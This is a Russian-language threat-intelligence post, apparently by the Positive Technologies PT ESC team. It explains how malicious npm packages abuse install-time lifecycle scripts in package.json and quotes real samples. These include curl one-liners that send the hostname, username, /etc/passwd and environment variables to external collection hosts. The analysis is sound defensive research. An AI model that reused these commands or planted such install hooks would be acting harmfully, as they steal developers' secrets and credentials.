Node JS. Вредоносная активность на стадии установки

Ещё в группе «Общее»
- Операция Chewbacca
В конце июня команда PT ESC в ходе расследования инцидентов обнаружила новую группу, нацеленную как минимум…
- Din, din — кто там?
Din, din — кто там? 🔔 Группа киберразведки экспертного центра безопасности Positive Technologies обнаружила новую группировку,…
- Enterprise-grade validation system with schema support
Enterprise-grade validation system with schema support (c) Автор десятка троянов, забывший добавить "Enterprise-grade" обфускацию Мы обнаружили…
- Минус один пернатый вор — плюс сто очков рейтинга!
Минус один пернатый вор — плюс сто очков рейтинга! 😵 Команда Threat Intelligence экспертного центра безопасности…
- DragonDoll: матрешка в мире Android-шпионов
DragonDoll: матрешка в мире Android-шпионов 🪆 В начале этой весны специалисты PT ESC обнаружили неизвестный ранее…
В рамках исследования действий злоумышленников в npm (Node Package Manager, основного репозитория JS-кода) мы решили одним глазком заглянуть в это направление.
В пакетах JavaScript существует механизм запуска скриптов на этапе установки. Он описывается в конфигурационном файле
package.json в секции scripts:{
"name": "<from-ptescalator-with-love>",
"version": "1.0.0",
"description": "Example config of package.json for demonstration-purposes",
"main": "hello.js",
"scripts": {
"preinstall": "echo \"I will be run at pre-install stage\"",
"install": "echo \"I will be run at install stage\"",
"postinstall": "echo \"I will be run at post-install stage\""
}
}
Code language: JSON / JSON with Comments (json)Значения являются командами для системного интерпретатора, будь то sh, bash, fish или даже виндовый cmd — что стоит по умолчанию, то и будет использовано 😎
Злоумышленники идут двумя путями в рамках эксплуатации возможности запустить свою нагрузку во время установки:
🫥 Запустить js-код
atlas-websocket@33.9.9, postinstall:node index.js
Code language: plaintext (plaintext)wokes@1.0.0, postinstall:node cli/setup-security.js
Code language: plaintext (plaintext)🫥 Исполнить команду системным интерпретатором:
autogestion-aprendizaje@1.0.4, preinstall, передача hostname:echo "No tests" && curl "http://[REDACTED].net/?NPM=$(hostname)&<template>"
Code language: Bash (bash)bsee-shared-hmd@1.0.6, preinstall, кража /etc/passwd и получение hostname:sh -c 'curl -X POST -d "user=$(whoami)&host=$(hostname)&passwd=$(cat /etc/passwd | base64)" https://webhook-test.com/[REDACTED]'
Code language: plaintext (plaintext)
storyblok-rich-text-astro-renderer-workspace@99.99.99, postinstall, кража переменных окружения:curl -X POST https://[REDACTED].oastify.com --data "$(env)"
Code language: Bash (bash)
arkoselabs@99.9.13, preinstall, кража переменных окружения, /etc/passwd, hostname и имени пользователя:curl --data-urlencode "info=$(hostname && whoami && cat /proc/self/environ && cat /etc/passwd)" http://[REDACTED].oast.me"
Code language: Bash (bash)#ti #scs #pyanalysis
@ptescalator
Ещё в группе «Общее»
- Операция Chewbacca
В конце июня команда PT ESC в ходе расследования инцидентов обнаружила новую группу, нацеленную как минимум…
- Din, din — кто там?
Din, din — кто там? 🔔 Группа киберразведки экспертного центра безопасности Positive Technologies обнаружила новую группировку,…
- Enterprise-grade validation system with schema support
Enterprise-grade validation system with schema support (c) Автор десятка троянов, забывший добавить "Enterprise-grade" обфускацию Мы обнаружили…
- Минус один пернатый вор — плюс сто очков рейтинга!
Минус один пернатый вор — плюс сто очков рейтинга! 😵 Команда Threat Intelligence экспертного центра безопасности…
- DragonDoll: матрешка в мире Android-шпионов
DragonDoll: матрешка в мире Android-шпионов 🪆 В начале этой весны специалисты PT ESC обнаружили неизвестный ранее…



